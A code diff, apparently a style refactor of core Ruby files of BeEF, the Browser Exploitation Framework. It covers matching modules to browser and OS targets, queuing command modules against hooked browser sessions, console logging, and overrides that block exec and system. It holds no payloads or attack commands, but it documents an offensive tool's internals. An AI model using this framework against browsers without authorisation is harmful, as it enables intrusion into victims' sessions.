unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] + rating += 1 end if subv.key?('max_ver') - if (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' - rating += 1 - else - break - end + break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' + rating += 1 end end + # os check if opts.key?('os') && subv.key?('os') match = false @@ -271,18 +268,16 @@ module BeEF # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end - results << {'rating' => rating, 'const' => k} + results << { 'rating' => rating, 'const' => k } end end next unless v.eql? BeEF::Core::Constants::Browsers::ALL rating = 1 - if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - rating = 1 - end + rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - results << {'rating' => rating, 'const' => k} + results << { 'rating' => rating, 'const' => k } end end @@ -290,9 +285,7 @@ module BeEF result = {} results.each do |r| - if result == {} || r['rating'] > result['rating'] - result = {'rating' => r['rating'], 'const' => r['const']} - end + result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating'] end result['const'] @@ -308,38 +301,37 @@ module BeEF targets = {} target_config.each do |k, v| - begin - next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}" - key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}" - targets[key] = [] unless targets.key? key - browser = nil + next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k.upcase}" - case v - when String - browser = match_target_browser v + key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k.upcase}" + targets[key] = [] unless targets.key? key + browser = nil + + case v + when String + browser = match_target_browser v + targets[key] << browser if browser + when Array + v.each do |c| + browser = match_target_browser c targets[key] << browser if browser - when Array - v.each do |c| - browser = match_target_browser c - targets[key] << browser if browser - end - when Hash - v.each do |k, c| - browser = match_target_browser k - next unless browser + end + when Hash + v.each do |k, c| + browser = match_target_browser k + next unless browser - case c - when TrueClass - targets[key] << browser - when Hash - details = match_target_browser_spec c - targets[key] << {browser => details} if details - end + case c + when TrueClass + targets[key] << browser + when Hash + details = match_target_browser_spec c + targets[key] << { browser => details } if details end end - rescue NameError - print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'" end + rescue NameError + print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'" end BeEF::Core::Configuration.instance.clear "#{mod_str}.target" @@ -351,7 +343,7 @@ module BeEF # @param [String] v user defined browser # @return [Constant] a BeEF browser constant def self.match_target_browser(v) - unless v.class == String + unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()' return false end @@ -366,24 +358,20 @@ module BeEF # Translates complex browser target configuration # @note Takes a complex user defined browser hash and converts it to applicable BeEF constants - # @param [Hash] v user defined browser hash + # @param [Hash] v user defined browser hash # @return [Hash] BeEF constants hash def self.match_target_browser_spec(v) - unless v.class == Hash + unless v.instance_of?(Hash) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()' return {} end browser = {} - if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest') - browser['max_ver'] = v['max_ver'] - end + browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest') - if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float)) - browser['min_ver'] = v['min_ver'] - end + browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float)) - return browser unless v.key? 'os' + return browser unless v.key?('os') case v['os'] when String @@ -405,7 +393,7 @@ module BeEF # @param [String] v user defined OS string # @return [Constant] BeEF OS Constant def self.match_target_os(v) - unless v.class == String + unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_os()' return false end @@ -418,13 +406,13 @@ module BeEF false end - # Executes a module + # Executes a module # @param [String] mod module key # @param [String] hbsession hooked browser session # @param [Array] opts array of module execute options (see #get_options) # @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors. # @note The return value of this function does not specify if the module was successful, only that it was executed within the framework - def self.execute(mod, hbsession, opts=[]) + def self.execute(mod, hbsession, opts = []) unless is_present(mod) && is_enabled(mod) print_error "Module not found '#{mod}'. Failed to execute module." return nil @@ -445,15 +433,13 @@ module BeEF check_hard_load mod command_module = get_definition(mod).new(mod) - if command_module.respond_to?(:pre_execute) - command_module.pre_execute - end + command_module.pre_execute if command_module.respond_to?(:pre_execute) merge_options(mod, []) c = BeEF::Core::Models::Command.create( - :data => merge_options(mod, opts).to_json, - :hooked_browser_id => hb.id, - :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), - :creationdate => Time.new.to_i + data: merge_options(mod, opts).to_json, + hooked_browser_id: hb.id, + command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), + creationdate: Time.new.to_i ) c.id end @@ -471,9 +457,7 @@ module BeEF defaults.each do |v| mer = nil opts.each do |o| - if v.key?('name') && o.key?('name') && v['name'] == o['name'] - mer = v.deep_merge o - end + mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name'] end mer.nil? ? merged.push(v) : merged.push(mer) diff --git a/core/modules.rb b/core/modules.rb index 91e6b28b6..79fa99279 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -5,7 +5,6 @@ # module BeEF module Modules - # Return configuration hashes of all modules that are enabled # @return [Array] configuration hashes of all enabled modules def self.get_enabled diff --git a/core/ruby.rb b/core/ruby.rb index 749a7de2e..0d3248ce6 100644 --- a/core/ruby.rb +++ b/core/ruby.rb @@ -13,4 +13,3 @@ require 'core/ruby/object' require 'core/ruby/string' require 'core/ruby/print' require 'core/ruby/hash' - diff --git a/core/ruby/hash.rb b/core/ruby/hash.rb index d41574e3e..e7441fc40 100644 --- a/core/ruby/hash.rb +++ b/core/ruby/hash.rb @@ -4,7 +4,6 @@ # See the file 'doc/COPYING' for copying permission # class Hash - # Recursively deep merge two hashes together # @param [Hash] hash Hash to be merged # @return [Hash] Combined hash diff --git a/core/ruby/module.rb b/core/ruby/module.rb index c164e86c1..eee680085 100644 --- a/core/ruby/module.rb +++ b/core/ruby/module.rb @@ -4,16 +4,14 @@ # See the file 'doc/COPYING' for copying permission # class Module - # Returns the classes in the current ObjectSpace where this module has been mixed in according to Module#included_modules. # @return [Array] An array of classes def included_in_classes classes = [] ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) } - classes.reverse.inject([]) do |unique_classes, klass| + classes.reverse.each_with_object([]) do |klass, unique_classes| unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s) - unique_classes end end @@ -23,9 +21,8 @@ class Module modules = [] ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) } - modules.reverse.inject([]) do |unique_modules, klass| + modules.reverse.each_with_object([]) do |klass, unique_modules| unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s) - unique_modules end end end diff --git a/core/ruby/object.rb b/core/ruby/object.rb index 73a8b1190..8204a1e5c 100644 --- a/core/ruby/object.rb +++ b/core/ruby/object.rb @@ -4,40 +4,39 @@ # See the file 'doc/COPYING' for copying permission # class Object - # Returns true if the object is a Boolean # @return [Boolean] Whether the object is boolean def boolean? - self.is_a?(TrueClass) || self.is_a?(FalseClass) + is_a?(TrueClass) || is_a?(FalseClass) end # Returns true if the object is a String # @return [Boolean] Whether the object is a string def string? - self.is_a?(String) + is_a?(String) end # Returns true if the object is an Integer # @return [Boolean] Whether the object is an integer def integer? - self.is_a?(Integer) + is_a?(Integer) end # Returns true if the object is a hash # @return [Boolean] Whether the object is a hash def hash? - self.is_a?(Hash) + is_a?(Hash) end # Returns true if the object is a class # @return [Boolean] Whether the object is a class def class? - self.is_a?(Class) + is_a?(Class) end # Returns true if the object is nil, and empty string, or empty array # @return [Boolean] def blank? - self.respond_to?(:empty?) ? !!empty? : !self + respond_to?(:empty?) ? !!empty? : !self end end diff --git a/core/ruby/print.rb b/core/ruby/print.rb index dfb92b964..d7ebe3e4d 100644 --- a/core/ruby/print.rb +++ b/core/ruby/print.rb @@ -7,14 +7,14 @@ # Function used to print errors to the console # @param [String] s String to be printed def print_error(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.error s.to_s end # Function used to print information to the console # @param [String] s String to be printed def print_info(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[*]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[*]' + ' ' + s.to_s BeEF.logger.info s.to_s end @@ -27,7 +27,7 @@ end # Function used to print warning information # @param [String] s String to be printed def print_warning(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[!]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.warn s.to_s end @@ -36,16 +36,16 @@ end # @note This function will only print messages if the debug flag is set to true def print_debug(s) config = BeEF::Core::Configuration.instance - if config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[>]'+' '+s.to_s - BeEF.logger.debug s.to_s - end + return unless config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose] + + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[>]' + ' ' + s.to_s + BeEF.logger.debug s.to_s end # Function used to print successes to the console # @param [String] s String to be printed def print_success(s) - puts Time.now.localtime.strftime("[%k:%M:%S]")+'[+]'+' '+s.to_s + puts Time.now.localtime.strftime('[%k:%M:%S]') + '[+]' + ' ' + s.to_s BeEF.logger.info s.to_s end @@ -59,16 +59,16 @@ end # @param [String] s String to be printed # @note The string passed needs to be separated by the "\n" for multiple lines to be printed def print_more(s) - time = Time.now.localtime.strftime("[%k:%M:%S]") + time = Time.now.localtime.strftime('[%k:%M:%S]') - if s.class == Array - lines = s - else - lines = s.split("\n") - end + lines = if s.instance_of?(Array) + s + else + s.split("\n") + end lines.each_with_index do |line, index| - if ((index+1) == lines.size) + if (index + 1) == lines.size puts "#{time} |_ #{line}" BeEF.logger.info "#{time} |_ #{line}" else @@ -82,7 +82,7 @@ end # @param [String] s String to print over current line # @note To terminate the print_over functionality your last print_over line must include a "\n" return def print_over(s) - time = Time.now.localtime.strftime("[%k:%M:%S]") - print "\r#{time}"+"[*]".blue+" #{s}" + time = Time.now.localtime.strftime('[%k:%M:%S]') + print "\r#{time}" + '[*]'.blue + " #{s}" BeEF.logger.info s.to_s end diff --git a/core/ruby/security.rb b/core/ruby/security.rb index 0d10bda66..ef2eee825 100644 --- a/core/ruby/security.rb +++ b/core/ruby/security.rb @@ -5,20 +5,19 @@ # # @note Prevent exec from ever being used -def exec(args) - puts "For security reasons the exec method is not accepted in the Browser Exploitation Framework code base." +def exec(_args) + puts 'For security reasons the exec method is not accepted in the Browser Exploitation Framework code base.' exit end # @note Prevent system from ever being used -def system(args) - puts "For security reasons the system method is not accepted in the Browser Exploitation Framework code base." - exit -end - -# @note Prevent Kernel.system from ever being used -def Kernel.system(args) - puts "For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base." +def system(_args) + puts 'For security reasons the system method is not accepted in the Browser Exploitation Framework code base.' exit end +# @note Prevent Kernel.system from ever being used +def Kernel.system(_args) + puts 'For security reasons the Kernel.system method is not accepted in the Browser Exploitation Framework code base.' + exit +end diff --git a/core/ruby/string.rb b/core/ruby/string.rb index a52fa82f8..26abd907c 100644 --- a/core/ruby/string.rb +++ b/core/ruby/string.rb @@ -4,9 +4,7 @@ # See the file 'doc/COPYING' for copying permission # class String - # @note Use a gem to colorize the console. - # @note http://flori.github.com/term-ansicolor/ + # @note http://flori.github.com/term-ansicolor/ include Term::ANSIColor - end diff --git a/core/settings.rb b/core/settings.rb index 350fb02d4..786d86530 100644 --- a/core/settings.rb +++ b/core/settings.rb @@ -5,7 +5,6 @@ # module BeEF module Settings - # Checks if an extension exists in the framework. # @param [String] beef_extension extension class # @return [Boolean] if the extension exists @@ -20,8 +19,7 @@ module BeEF # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method. # This method bypasses the configuration system. def self.console? - self.extension_exists?('Console') + extension_exists?('Console') end - end end